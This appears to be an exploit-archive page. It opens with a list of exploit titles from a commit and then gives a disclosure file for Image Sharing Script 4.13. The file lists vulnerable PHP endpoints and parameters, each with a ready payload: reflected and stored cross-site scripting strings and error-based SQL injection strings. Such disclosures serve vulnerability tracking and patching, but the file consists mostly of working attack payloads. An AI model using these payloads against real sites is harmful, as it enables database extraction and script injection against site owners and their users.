7c1c496c25
11 new exploits Nofeel FTP Server 3.6 - (CWD) Remote Memory Consumption Exploit Nofeel FTP Server 3.6 - 'CWD' Command Remote Memory Consumption Mozilla Firefox < 50.1.0 - Use After Free Mozilla Firefox < 50.1.0 - Use-After-Free HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (1) Microsoft HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (1) HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (3) Microsoft HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (3) HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (2) Microsoft HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (2) HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (4) Microsoft HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (4) iSelect v1.4 - Local Buffer Overflow Word Viewer OCX 3.2 - ActiveX (Save) Remote File Overwrite Word Viewer OCX 3.2 ActiveX - (Save) Remote File Overwrite WinaXe Plus 8.7 - Buffer Overflow DiskBoss Enterprise - GET Buffer Overflow (Metasploit) Windows x64 - CreateRemoteThread() DLL Injection Shellcode (584 bytes) Photobase 1.2 - 'Language' Local File Inclusion Joomla! Component Portfol - (vcatid) SQL Injection Photobase 1.2 - 'Language' Parameter Local File Inclusion Joomla! Component Portfol 1.2 - 'vcatid' Parameter SQL Injection dMx READY (25 - Products) Remote Database Disclosure dMx READY (25 - Products) - Remote Database Disclosure Joomla! Component com_gigcal (gigcal_gigs_id) 1.0 - SQL Injection Joomla! Component GigCalendar 1.0 - SQL Injection HSPell 1.1 - (cilla.cgi) Remote Command Execution HSPell 1.1 - 'cilla.cgi' Remote Command Execution PHP Photo Album 0.8b - (index.php preview) Local File Inclusion PHP Photo Album 0.8b - 'preview' Parameter Local File Inclusion Huawei Flybox B660 - Cross-Site Request Forgery Business Networking Script 8.11 - SQL Injection / Cross-Site Scripting Pirelli DRG A115 ADSL Router - Unauthenticated DNS Change Tenda ADSL2/2+ Modem D840R - Unauthenticated DNS Change Image Sharing Script 4.13 - Multiple Vulnerabilities Million Pixels 3 - Authentication Bypass ManagEnegine ADManager Plus 6.5.40 - Multiple Vulnerabilities
64 lines
2.3 KiB
Text
Executable file
64 lines
2.3 KiB
Text
Executable file
Exploit Title : Image Sharing Script v4.13 - Multiple Vulnerability
|
|
Author : Hasan Emre Ozer
|
|
Google Dork : -
|
|
Date : 16/01/2017
|
|
Type : webapps
|
|
Platform: PHP
|
|
Vendor Homepage : http://itechscripts.com/image-sharing-script/
|
|
Sofware Price and Demo : $1250
|
|
http://photo-sharing.itechscripts.com/
|
|
|
|
--------------------------------
|
|
Type: Reflected XSS
|
|
Vulnerable URL: http://localhost/[PATH]/searchpin.php
|
|
Vulnerable Parameters : q=
|
|
Payload:"><img src=i onerror=prompt(1)>
|
|
-------------------------------
|
|
Type: Error Based Sql Injection
|
|
Vulnerable URL:http://localhost/[PATH]/list_temp_photo_pin_upload.php
|
|
Vulnerable Parameters: pid
|
|
Method: GET
|
|
Payload: ' AND (SELECT 2674 FROM(SELECT
|
|
COUNT(*),CONCAT(0x717a717671,(SELECT
|
|
(ELT(2674=2674,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM
|
|
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'xvtH'='xvtH
|
|
-------------------------------
|
|
Type: Error Based Sql Injection
|
|
Vulnerable URL:http://localhost/[PATH]/categorypage.php
|
|
Vulnerable Parameters: token
|
|
Method: GET
|
|
Payload: ' AND (SELECT 2674 FROM(SELECT
|
|
COUNT(*),CONCAT(0x717a717671,(SELECT
|
|
(ELT(2674=2674,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM
|
|
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'xvtH'='xvtH
|
|
|
|
--------------------------------
|
|
Type: Reflected XSS
|
|
Vulnerable URL: http://localhost/[PATH]/categorypage.php
|
|
Vulnerable Parameters : token
|
|
Payload:"><img src=i onerror=prompt(1)>
|
|
|
|
-------------------------------
|
|
Type: Stored XSS
|
|
Vulnerable URL: http://localhost/[PATH]/ajax-files/postComment.php
|
|
Method: POST
|
|
Vulnerable Parameters : &text=
|
|
Payload:<img src=i onerror=prompt(1)>
|
|
--------------------------------
|
|
Type: Error Based Sql Injection
|
|
Vulnerable URL:http://localhost/[PATH]/ajax-files/postComment.php
|
|
Vulnerable Parameters: id
|
|
Method: POST
|
|
Payload:' AND (SELECT 2674 FROM(SELECT COUNT(*),CONCAT(0x717a717671,(SELECT
|
|
(ELT(2674=2674,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM
|
|
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'xvtH'='xvtH
|
|
---------------------------------
|
|
Type: Error Based Sql Injection
|
|
Vulnerable URL:http://localhost/[PATH]//ajax-files/followBoard.php
|
|
Vulnerable Parameters: brdId
|
|
Method: POST
|
|
Payload:' AND (SELECT 2674 FROM(SELECT COUNT(*),CONCAT(0x717a717671,(SELECT
|
|
(ELT(2674=2674,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM
|
|
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'xvtH'='xvtH
|
|
|
|
|